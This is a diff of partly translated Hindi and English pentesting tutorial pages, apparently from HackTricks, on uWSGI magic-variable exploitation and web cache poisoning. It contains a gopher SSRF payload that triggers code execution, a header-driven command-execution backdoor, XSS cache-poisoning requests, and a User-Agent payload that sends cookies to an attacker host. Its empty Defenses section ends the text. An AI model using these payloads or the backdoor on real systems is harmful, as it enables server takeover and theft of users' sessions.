#### चरण 1: Malicious Payload बनाएँ
|
||||
सबसे पहले, Python code को सर्वर द्वारा एक्सेस की जा सकने वाली फ़ाइल में इंजेक्ट करें (सर्वर के अंदर फ़ाइल लिखना, फ़ाइल का extension मायने नहीं रखता):
|
||||
```python
|
||||
# Payload injected into a JSON profile file
|
||||
import os
|
||||
os.system("/readflag > /app/profiles/result.json")
|
||||
```
|
||||
#### चरण 2: uWSGI प्रोटोकॉल अनुरोध तैयार करें
|
||||
Gopher प्रोटोकॉल का उपयोग करके raw uWSGI packets भेजें:
|
||||
```
|
||||
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
|
||||
```
|
||||
यह payload:
|
||||
- uWSGI के port 5000 पर कनेक्ट होता है
|
||||
- `UWSGI_FILE` को दुर्भावनापूर्ण फ़ाइल की ओर पॉइंट करने के लिए सेट करता है
|
||||
- uWSGI को Python code को लोड और execute करने के लिए मजबूर करता है
|
||||
|
||||
### uWSGI प्रोटोकॉल संरचना
|
||||
|
||||
uWSGI प्रोटोकॉल एक बाइनरी फ़ॉर्मेट का उपयोग करता है जहाँ:
|
||||
- Variables को length-prefixed strings के रूप में एन्कोड किया जाता है
|
||||
- प्रत्येक variable में होता है: `[name_length][name][value_length][value]`
|
||||
- पैकेट एक header के साथ शुरू होता है जो कुल आकार (total size) रखता है
|
||||
|
||||
## Post-Exploitation Techniques
|
||||
|
||||
### 1. Persistent Backdoors
|
||||
|
||||
#### File-based Backdoor
|
||||
```python
|
||||
# backdoor.py
|
||||
import subprocess
|
||||
import base64
|
||||
|
||||
def application(environ, start_response):
|
||||
cmd = environ.get('HTTP_X_CMD', '')
|
||||
if cmd:
|
||||
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
|
||||
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
|
||||
else:
|
||||
response = "Backdoor active"
|
||||
|
||||
start_response('200 OK', [('Content-Type', 'text/plain')])
|
||||
return [response.encode()]
|
||||
```
|
||||
फिर इस backdoor को लोड करने के लिए `UWSGI_FILE` का उपयोग करें:
|
||||
```
|
||||
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
|
||||
uwsgi_param SCRIPT_NAME /admin;
|
||||
```
|
||||
#### पर्यावरण-आधारित Persistence
|
||||
```
|
||||
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
|
||||
```
|
||||
### 2. सूचना प्रकटीकरण
|
||||
|
||||
#### Environment Variable Dumping
|
||||
```python
|
||||
# env_dump.py
|
||||
import os
|
||||
import json
|
||||
|
||||
def application(environ, start_response):
|
||||
env_data = {
|
||||
'os_environ': dict(os.environ),
|
||||
'wsgi_environ': dict(environ)
|
||||
}
|
||||
|
||||
start_response('200 OK', [('Content-Type', 'application/json')])
|
||||
return [json.dumps(env_data, indent=2).encode()]
|
||||
```
|
||||
#### फ़ाइल सिस्टम एक्सेस
|
||||
संवेदनशील फ़ाइलों तक पहुँचने के लिए `UWSGI_CHDIR` को file serving के साथ मिलाकर उपयोग करें:
|
||||
```
|
||||
uwsgi_param UWSGI_CHDIR /etc/;
|
||||
uwsgi_param UWSGI_FILE /app/file_server.py;
|
||||
```
|
||||
### 3. Privilege Escalation
|
||||
|
||||
#### Socket Manipulation
|
||||
यदि uWSGI elevated privileges के साथ चलता है, तो attackers socket permissions को manipulate कर सकते हैं:
|
||||
```
|
||||
uwsgi_param UWSGI_CHDIR /tmp;
|
||||
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
|
||||
```
|
||||
#### कॉन्फ़िगरेशन ओवरराइड
|
||||
```python
|
||||
# malicious_config.py
|
||||
import os
|
||||
|
||||
# Override uWSGI configuration
|
||||
os.environ['UWSGI_MASTER'] = '1'
|
||||
os.environ['UWSGI_PROCESSES'] = '1'
|
||||
os.environ['UWSGI_CHEAPER'] = '1'
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
|
||||
- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
|
||||
- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -4,72 +4,73 @@
|
||||
|
||||
## अंतर
|
||||
|
||||
> **web cache poisoning और web cache deception में क्या फर्क है?**
|
||||
> **web cache poisoning और web cache deception में क्या अंतर है?**
|
||||
>
|
||||
> - In **web cache poisoning**, हमलावर एप्लिकेशन को कुछ दुर्व्यवहारपूर्ण सामग्री cache में स्टोर करवाता है, और यह सामग्री cache से अन्य एप्लिकेशन उपयोगकर्ताओं को सर्व की जाती है।
|
||||
> - In **web cache deception**, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की संवेदनशील सामग्री cache में स्टोर करवाता है, और फिर हमलावर वह सामग्री cache से प्राप्त कर लेता है।
|
||||
> - In **web cache poisoning**, हमलावर एप्लिकेशन को कुछ दुष्ट सामग्री cache में स्टोर कराने के लिए मजबूर करता है, और यह सामग्री cache से अन्य एप्लिकेशन उपयोगकर्ताओं को परोसी जाती है।
|
||||
> - In **web cache deception**, हमलावर एप्लिकेशन को किसी अन्य उपयोगकर्ता की संवेदनशील सामग्री cache में स्टोर कराने के लिए मजबूर करता है, और फिर हमलावर उस सामग्री को cache से पुनः प्राप्त कर लेता है।
|
||||
|
||||
## Cache Poisoning
|
||||
|
||||
Cache poisoning का उद्देश्य client-side cache को इस तरह प्रभावित करना है कि क्लाइंट अनपेक्षित, आंशिक या हमलावर के नियंत्रण वाली resources लोड कर लें। प्रभाव का दायरा प्रभावित पेज की लोकप्रियता पर निर्भर करता है, क्योंकि दूषित response केवल उन उपयोगकर्ताओं को सर्व किया जाएगा जो cache प्रदूषण के दौरान उस पेज पर जाते हैं।
|
||||
Cache poisoning का उद्देश्य client-side cache को इस तरह से बदलना है कि clients ऐसे संसाधन लोड करने को मजबूर हों जो अप्रत्याशित, आंशिक, या किसी हमलावर के नियंत्रण में हों। प्रभाव की सीमा प्रभावित पेज की लोकप्रियता पर निर्भर करती है, क्योंकि दूषित response केवल उस अवधि में उस पेज पर आने वाले उपयोगकर्ताओं को परोसा जाता है जब cache दूषित है।
|
||||
|
||||
Cache poisoning हमला कई चरणों में किया जाता है:
|
||||
Cache poisoning हमले को अंजाम देने में कई चरण शामिल होते हैं:
|
||||
|
||||
1. **Identification of Unkeyed Inputs**: ऐसे parameters जो request के cached होने के लिए आवश्यक नहीं होते पर server द्वारा लौटाई जाने वाली response को बदल सकते हैं। इन inputs की पहचान करना जरूरी है क्योंकि इन्हें cache को manipulate करने के लिए exploit किया जा सकता है।
|
||||
2. **Exploitation of the Unkeyed Inputs**: Unkeyed inputs की पहचान के बाद अगला कदम यह पता लगाना है कि इन parameters का दुरुपयोग करके server की response को किस तरह बदला जा सकता है ताकि हमलावर को लाभ हो।
|
||||
3. **Ensuring the Poisoned Response is Cached**: अंतिम चरण यह सुनिश्चित करना है कि बदली हुई response cache में स्टोर हो जाए। इस तरह, जब भी कोई उपयोगकर्ता प्रभावित पेज तक पहुंचता है जबकि cache poisoned है, उसे दूषित response मिल जाएगी।
|
||||
1. **Unkeyed Inputs की पहचान**: ये ऐसे पैरामीटर हैं जो भले ही किसी request को cache करने के लिए आवश्यक न हों, पर server द्वारा लौटाए गए response को बदल सकते हैं। इन inputs की पहचान बहुत महत्वपूर्ण है क्योंकि इन्हें cache को मैनीपुलेट करने के लिए एक्स्प्लॉइट किया जा सकता है।
|
||||
2. **Unkeyed Inputs का शोषण**: Unkeyed inputs की पहचान के बाद अगला कदम यह पता लगाना है कि इन पैरामीटर्स का दुरुपयोग कर server के response को किस तरह बदला जा सकता है ताकि वह हमलावर के हित में हो।
|
||||
3. **सुनिश्चत करना कि Poisoned Response cached हो**: अंतिम चरण यह सुनिश्चित करना है कि बदला गया response cache में स्टोर हो जाए। इस तरह, cache दूषित रहने की अवधि में प्रभावित पेज पर आने वाला कोई भी उपयोगकर्ता दूषित response प्राप्त करेगा।
|
||||
|
||||
### खोज: HTTP headers देखें
|
||||
### खोज: HTTP headers जाँचें
|
||||
|
||||
आम तौर पर, जब कोई response cache में store की जाती है तो वहाँ एक header होता है जो इसकी जानकारी देता है; आप उन headers को देख सकते हैं जिन पर आपको ध्यान देना चाहिए इस पोस्ट में: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
आम तौर पर, जब कोई response **cache में स्टोर** किया जाता है तो वहाँ एक ऐसा **header होगा जो इसे दर्शाता है**, आप यह देख सकते हैं कि किन headers पर ध्यान देना चाहिए इस पोस्ट में: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
|
||||
|
||||
### खोज: Caching error codes
|
||||
### खोज: एरर कोड्स का cache होना
|
||||
|
||||
यदि आपको लगता है कि response cache में स्टोर हो रही है, तो आप एक खराब header के साथ request भेजकर देख सकते हैं, जिसे सामान्यतः **status code 400** के साथ रिस्पॉन्ड किया जाना चाहिए। फिर सामान्य तरीके से उसी request को एक्सेस करके देखें और यदि response एक 400 status code है, तो आप जान सकते हैं कि यह vulnerable है (और आप यहां तक कि DoS भी कर सकते हैं)।
|
||||
अगर आपको लगता है कि response cache में स्टोर हो रहा है, तो आप **गलत header के साथ requests भेजकर** देख सकते हैं, जिनके जवाब में सामान्यतः **status code 400** आना चाहिए। फिर सामान्य तरीके से उस request को एक्सेस करके देखें — अगर **response 400 status code** ही आता है, तो आप जान लेंगे कि यह vulnerable है (और आप यहाँ से DoS भी कर सकते हैं)।
|
||||
|
||||
You can find more options in:
|
||||
|
||||
आप और विकल्प यहां पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
हालाँकि, ध्यान दें कि **कभी-कभी इस प्रकार के status codes cache में नहीं रखे जाते**, इसलिए यह टेस्ट विश्वसनीय नहीं हो सकता।
|
||||
हालाँकि ध्यान दें कि **कभी-कभी इन तरह के status codes cache नहीं होते**, इसलिए यह टेस्ट विश्वसनीय नहीं हो सकता है।
|
||||
|
||||
### खोज: Identify and evaluate unkeyed inputs
|
||||
### खोज: Unkeyed inputs की पहचान और मूल्यांकन
|
||||
|
||||
आप [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) का उपयोग करके उन parameters और headers को brute-force कर सकते हैं जो पेज की response को बदल रहे हैं। उदाहरण के लिए, एक पेज header `X-Forwarded-For` का उपयोग कर सकता है ताकि client को वहां से स्क्रिप्ट लोड करने के लिए संकेत दिया जाए:
|
||||
आप [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) का उपयोग करके उन parameters और headers को **brute-force कर सकते हैं** जो पेज के response को बदल सकते हैं। उदाहरण के लिए, एक पेज header `X-Forwarded-For` का उपयोग कर सकता है ताकि client को वहां से script लोड करने का निर्देश दिया जा सके:
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया उत्पन्न करें
|
||||
|
||||
With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)
|
||||
पैरामीटर/हेडर पहचानने के बाद यह जांचें कि इसे कैसे **sanitised** किया जा रहा है और यह **कहां** **getting reflected** हो रहा है या हेडर से response को कैसे प्रभावित कर रहा है। क्या आप इसे किसी तरह abuse कर सकते हैं (एक XSS या अपना नियंत्रित JS कोड लोड करना? DoS करना? ...)
|
||||
|
||||
### प्रतिक्रिया को कैश कराएँ
|
||||
### प्रतिक्रिया को कैश करवाएँ
|
||||
|
||||
Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.
|
||||
एक बार जब आपने वह **page** पहचान लिया है जिसे abuse किया जा सकता है, कौन सा **parameter**/**header** उपयोग करना है और इसे **कैसे** **abuse** करना है, तो आपको पृष्ठ को कैश कराना होगा। जिस resource को आप cache में लाना चाह रहे हैं उसके अनुसार यह कुछ समय ले सकता है, आपको कुछ सेकंड तक कोशिश करनी पड़ सकती है।
|
||||
|
||||
The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\
|
||||
The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
|
||||
रिस्पॉन्स में मौजूद हेडर **`X-Cache`** बहुत उपयोगी हो सकता है क्योंकि इसमें मान **`miss`** हो सकता है जब request cached नहीं था और मान **`hit`** हो सकता है जब यह cached हो।\
|
||||
हेडर **`Cache-Control`** यह जानने के लिए भी दिलचस्प है कि कोई resource cache हो रहा है या नहीं और अगली बार resource कब फिर से cache होगा: `Cache-Control: public, max-age=1800`
|
||||
|
||||
Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.
|
||||
एक और दिलचस्प हेडर है **`Vary`**। यह हेडर अक्सर उन अतिरिक्त हेडरों का संकेत देने के लिए उपयोग किया जाता है जिन्हें **cache key का हिस्सा** माना जाता है भले ही वे सामान्यतः unkeyed हों। इसलिए, यदि attacker को उस लक्ष्य उपयोगकर्ता का `User-Agent` पता है, तो वह उसी विशिष्ट `User-Agent` का उपयोग करने वाले users के लिए cache को poison कर सकता है।
|
||||
|
||||
One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache.
|
||||
cache से संबंधित एक और हेडर है **`Age`**। यह सेकंड में परिभाषित करता है कि object proxy cache में कितने समय से है।
|
||||
|
||||
When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
|
||||
किसी request को cache करते समय, आप जिन हेडरों का उपयोग कर रहे हैं उनसे सावधान रहें क्योंकि कुछ हेडर अनपेक्षित रूप से **keyed** के रूप में इस्तेमाल हो सकते हैं और **victim को वही हेडर उपयोग करना होगा**। हमेशा विभिन्न ब्राउज़रों के साथ एक Cache Poisoning का **test** करें ताकि पता चल सके कि यह काम कर रहा है या नहीं।
|
||||
|
||||
## Exploiting Examples
|
||||
|
||||
### Easiest example
|
||||
### सबसे आसान उदाहरण
|
||||
|
||||
A header like `X-Forwarded-For` is being reflected in the response unsanitized.\
|
||||
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
|
||||
`X-Forwarded-For` जैसे हेडर को response में बिना sanitize किए रिफ्लेक्ट किया जा रहा है।\
|
||||
आप एक बेसिक XSS payload भेज कर cache को poison कर सकते हैं ताकि जो कोई भी पेज को एक्सेस करे वह XSSed हो जाए:
|
||||
```html
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
```
|
||||
_ध्यान दें कि यह `/en?region=uk` के लिए एक request को poison करेगा, `/en` के लिए नहीं_
|
||||
_Note that this will poison a request to `/en?region=uk` not to `/en`_
|
||||
|
||||
### Cache poisoning to DoS
|
||||
|
||||
@ -80,23 +81,23 @@ cache-poisoning-to-dos.md
|
||||
|
||||
### Cache poisoning through CDNs
|
||||
|
||||
इस **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** में निम्नलिखित सरल परिदृश्य समझाया गया है:
|
||||
**[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** में निम्नलिखित सरल परिदृश्य समझाया गया है:
|
||||
|
||||
- The CDN will cache anything under `/share/`
|
||||
- CDN `%2F..%2F` को decode या normalize नहीं करेगा, इसलिए इसे **path traversal to access other sensitive locations that will be cached** के रूप में इस्तेमाल किया जा सकता है, जैसे `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- The web server WILL decode and normalize `%2F..%2F`, और `/api/auth/session` के साथ respond करेगा, जो **contains the auth token**।
|
||||
- CDN `/share/` के तहत किसी भी चीज़ को cache करेगा
|
||||
- CDN `%2F..%2F` को decode या normalize नहीं करेगा, इसलिए इसे **path traversal to access other sensitive locations that will be cached** के रूप में उपयोग किया जा सकता है, जैसे `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- वेब सर्वर `%2F..%2F` को decode और normalize करेगा, और `/api/auth/session` के साथ response देगा, जिसमें **auth token** होता है।
|
||||
|
||||
### Using web cache poisoning to exploit cookie-handling vulnerabilities
|
||||
|
||||
Cookies किसी पेज के response में भी reflected हो सकती हैं। यदि आप इसे किसी XSS को trigger करने के लिए abuse कर सकें, तो आप उन कई clients में XSS का exploit कर सकते हैं जो malicious cache response को load करते हैं।
|
||||
Cookies किसी पेज के response में भी reflect हो सकते हैं। यदि आप इसे किसी XSS को trigger करने के लिए abuse कर सकें, तो आप उन कई clients में XSS exploit कर सकते हैं जो malicious cache response लोड करते हैं।
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
ध्यान दें कि अगर vulnerable cookie को users बहुत ज़्यादा इस्तेमाल कर रहे हैं, तो regular requests cache को साफ़ करती रहेंगी।
|
||||
ध्यान दें कि यदि the vulnerable cookie उपयोगकर्ताओं द्वारा बहुत अधिक इस्तेमाल की जा रही है, तो नियमित अनुरोध cache को साफ़ करते रहेंगे।
|
||||
|
||||
### Delimiters, normalization और dots के साथ विसंगतियाँ उत्पन्न करना <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### डिलिमीटर्स, नॉर्मलाइज़ेशन और डॉट्स के साथ विसंगतियाँ उत्पन्न करना <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
देखें:
|
||||
|
||||
@ -105,9 +106,9 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### API key चुराने के लिए path traversal के साथ Cache poisoning <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) कैसे एक OpenAI API key `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` जैसे URL के साथ चुराई जा सकी, क्योंकि `/share/*` से मेल खाने वाली कोई भी चीज़ Cloudflare द्वारा URL को normalise किए बिना cache हो जाती थी, और URL को normalise तब किया जाता था जब request वेब सर्वर तक पहुँचती थी।
|
||||
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
|
||||
|
||||
यह भी बेहतर तरीके से समझाया गया है:
|
||||
|
||||
@ -116,18 +117,18 @@ cache-poisoning-via-url-discrepancies.md
|
||||
cache-poisoning-via-url-discrepancies.md
|
||||
{{#endref}}
|
||||
|
||||
### web cache poisoning vulnerabilities का फायदा उठाने के लिए multiple headers का उपयोग करना <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
कभी-कभी cache का दुरुपयोग करने के लिए आपको **exploit several unkeyed inputs** करने की ज़रूरत पड़ती है। उदाहरण के लिए, अगर आप `X-Forwarded-Host` को अपने कंट्रोल वाले domain पर सेट करते हैं और `X-Forwarded-Scheme` को `http` पर सेट करते हैं, तो आपको एक **Open redirect** मिल सकता है। **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** और redirect के लिए `X-Forwarded-Scheme` header को domain नाम के रूप में इस्तेमाल कर रहा हो, तो आप redirect द्वारा पृष्ठ कहाँ point होगा उसे control कर सकते हैं।
|
||||
कभी-कभी आपको cache का दुरुपयोग करने के लिए **exploit several unkeyed inputs** करने की ज़रूरत पड़ेगी। उदाहरण के लिए, आप `X-Forwarded-Host` को अपने नियंत्रण वाले डोमेन पर सेट करके और `X-Forwarded-Scheme` को `http` पर सेट करके एक **Open redirect** पा सकते हैं। **If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect, तो आप redirect द्वारा पेज कहां पॉइंट किया जा रहा है नियंत्रित कर सकते हैं।
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
||||
X-Forwarded-Scheme: http
|
||||
```
|
||||
### सीमित `Vary`header के साथ शोषण
|
||||
### Exploiting with limited `Vary`header
|
||||
|
||||
यदि आपने पाया कि **`X-Host`** header को **domain name to load a JS resource** के रूप में उपयोग किया जा रहा है, लेकिन response में **`Vary`** header **`User-Agent`** सूचित कर रहा है। तब, आपको किसी तरह पीड़ित का **`User-Agent`** exfiltrate करने और उस user agent का उपयोग करके cache को poison करने का तरीका खोजना होगा:
|
||||
यदि आप पाते हैं कि **`X-Host`** header को **domain name to load a JS resource** के रूप में उपयोग किया जा रहा है, लेकिन प्रतिक्रिया में **`Vary`** header **`User-Agent`** दिखा रहा है, तो आपको victim के `User-Agent` को exfiltrate करने और उस user agent का उपयोग करके cache को poison करने का तरीका ढूँढना होगा:
|
||||
```html
|
||||
GET / HTTP/1.1
|
||||
Host: vulnerbale.net
|
||||
@ -136,7 +137,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
एक GET request भेजें जिसमें अनुरोध URL और body दोनों में मौजूद हो। यदि web server body में मौजूद वाले को उपयोग करता है लेकिन cache server URL में मौजूद वाले को cache कर लेता है, तो जो भी उस URL तक पहुँचेगा वास्तव में body से आए parameter का उपयोग करेगा। जैसे कि James Kettle ने Github website पर पाया हुआ vuln:
|
||||
URL और body दोनों में request रखकर एक GET request भेजें। यदि web server body वाला इस्तेमाल करता है लेकिन cache server URL वाली को cache कर लेता है, तो जो कोई भी उस URL तक पहुँचेगा वह वास्तव में body से आए parameter का उपयोग करेगा। जैसे कि Github वेबसाइट पर James Kettle द्वारा पाया गया vuln:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -145,31 +146,31 @@ Content-Length: 22
|
||||
|
||||
report=innocent-victim
|
||||
```
|
||||
There is a PortSwigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
There is a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
|
||||
|
||||
### Parameter Cloacking
|
||||
|
||||
उदाहरण के लिए ruby सर्वरों में **parameters** को अलग करने के लिए char **`;`** का उपयोग **`&`** की बजाय किया जा सकता है। यह unkeyed parameters values को keyed ones के अंदर डालने और उनका दुरुपयोग करने के लिए इस्तेमाल किया जा सकता है।
|
||||
For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
|
||||
|
||||
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
|
||||
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
|
||||
|
||||
यहां सीखें कि कैसे [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) को अंजाम दिया जाता है।
|
||||
Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).
|
||||
|
||||
### Automated testing for Web Cache Poisoning
|
||||
|
||||
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) का उपयोग web cache poisoning के लिए स्वतः परीक्षण करने हेतु किया जा सकता है। यह कई अलग-अलग techniques को सपोर्ट करता है और highly customizable है।
|
||||
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.
|
||||
|
||||
Example usage: `wcvs -u example.com`
|
||||
|
||||
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
|
||||
|
||||
यह वास्तविक दुनिया का पैटर्न एक header-based reflection primitive को CDN/WAF व्यवहार के साथ जोड़ता है ताकि अन्य उपयोगकर्ताओं को परोसे जाने वाले cached HTML को विश्वसनीय रूप से poison किया जा सके:
|
||||
This real-world pattern chains a header-based reflection primitive with CDN/WAF behavior to reliably poison the cached HTML served to other users:
|
||||
|
||||
- मुख्य HTML ने एक untrusted request header (e.g., `User-Agent`) को executable context में reflect किया।
|
||||
- CDN ने cache headers को strip कर दिया पर internal/origin cache मौजूद था। CDN ने static extensions (e.g., `.js`) वाले requests को auto-cache भी किया, जबकि WAF ने static assets के GETs के लिए कम कड़ाई से content inspection लागू किया।
|
||||
- Request flow के quirks ने `.js` path पर एक request को subsequent main HTML के cache key/variant को प्रभावित करने की अनुमति दी, जिससे header reflection के माध्यम से cross-user XSS सक्षम हुआ।
|
||||
- The main HTML reflected an untrusted request header (e.g., `User-Agent`) into executable context.
|
||||
- The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g., `.js`), while the WAF applied weaker content inspection to GETs for static assets.
|
||||
- Request flow quirks allowed a request to a `.js` path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection.
|
||||
|
||||
Practical recipe (observed across a popular CDN/WAF):
|
||||
|
||||
@ -183,32 +184,32 @@ Example header payload (to exfiltrate non-HttpOnly cookies):
|
||||
```
|
||||
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
|
||||
```
|
||||
ऑपरेशनल टिप्स:
|
||||
Operational tips:
|
||||
|
||||
- कई CDNs कैश हेडर छुपाते हैं; poisoning कई घंटे के रिफ्रेश साइकिल पर ही दिखाई दे सकता है। rate-limit या reputation ट्रिगर्स से बचने के लिए multiple vantage IPs का उपयोग करें और throttle करें।
|
||||
- CDN के अपने cloud से एक IP का उपयोग करने से कभी‑कभी routing consistency बेहतर होती है।
|
||||
- अगर strict CSP मौजूद है, तब भी यह तब काम करता है जब reflection main HTML context में execute हो और CSP inline execution की अनुमति दे या context द्वारा bypass हो।
|
||||
- कई CDNs cache headers छिपाते हैं; poisoning कई घंटे के refresh cycles पर ही दिखाई दे सकता है। rate-limit या reputation triggers से बचने के लिए multiple vantage IPs का उपयोग करें और throttle करें।
|
||||
- CDN के अपने cloud का IP इस्तेमाल करने से कभी-कभी routing consistency बेहतर होती है।
|
||||
- यदि strict CSP मौजूद है, तब भी यह तब काम करता है जब reflection मुख्य HTML context में execute हो और CSP inline execution की अनुमति दे या context से bypass हो सके।
|
||||
|
||||
प्रभाव:
|
||||
Impact:
|
||||
|
||||
- अगर session cookies `HttpOnly` नहीं हैं, तो poisoned HTML सर्व किए जाने वाले सभी users से `document.cookie` को mass-exfiltrate करके zero-click ATO संभव है।
|
||||
- यदि session cookies aren’t `HttpOnly`, zero-click ATO संभव है by mass-exfiltrating `document.cookie` उन सभी उपयोगकर्ताओं से जिन्हें poisoned HTML सर्व किया गया है।
|
||||
|
||||
रक्षा:
|
||||
Defenses:
|
||||
|
||||
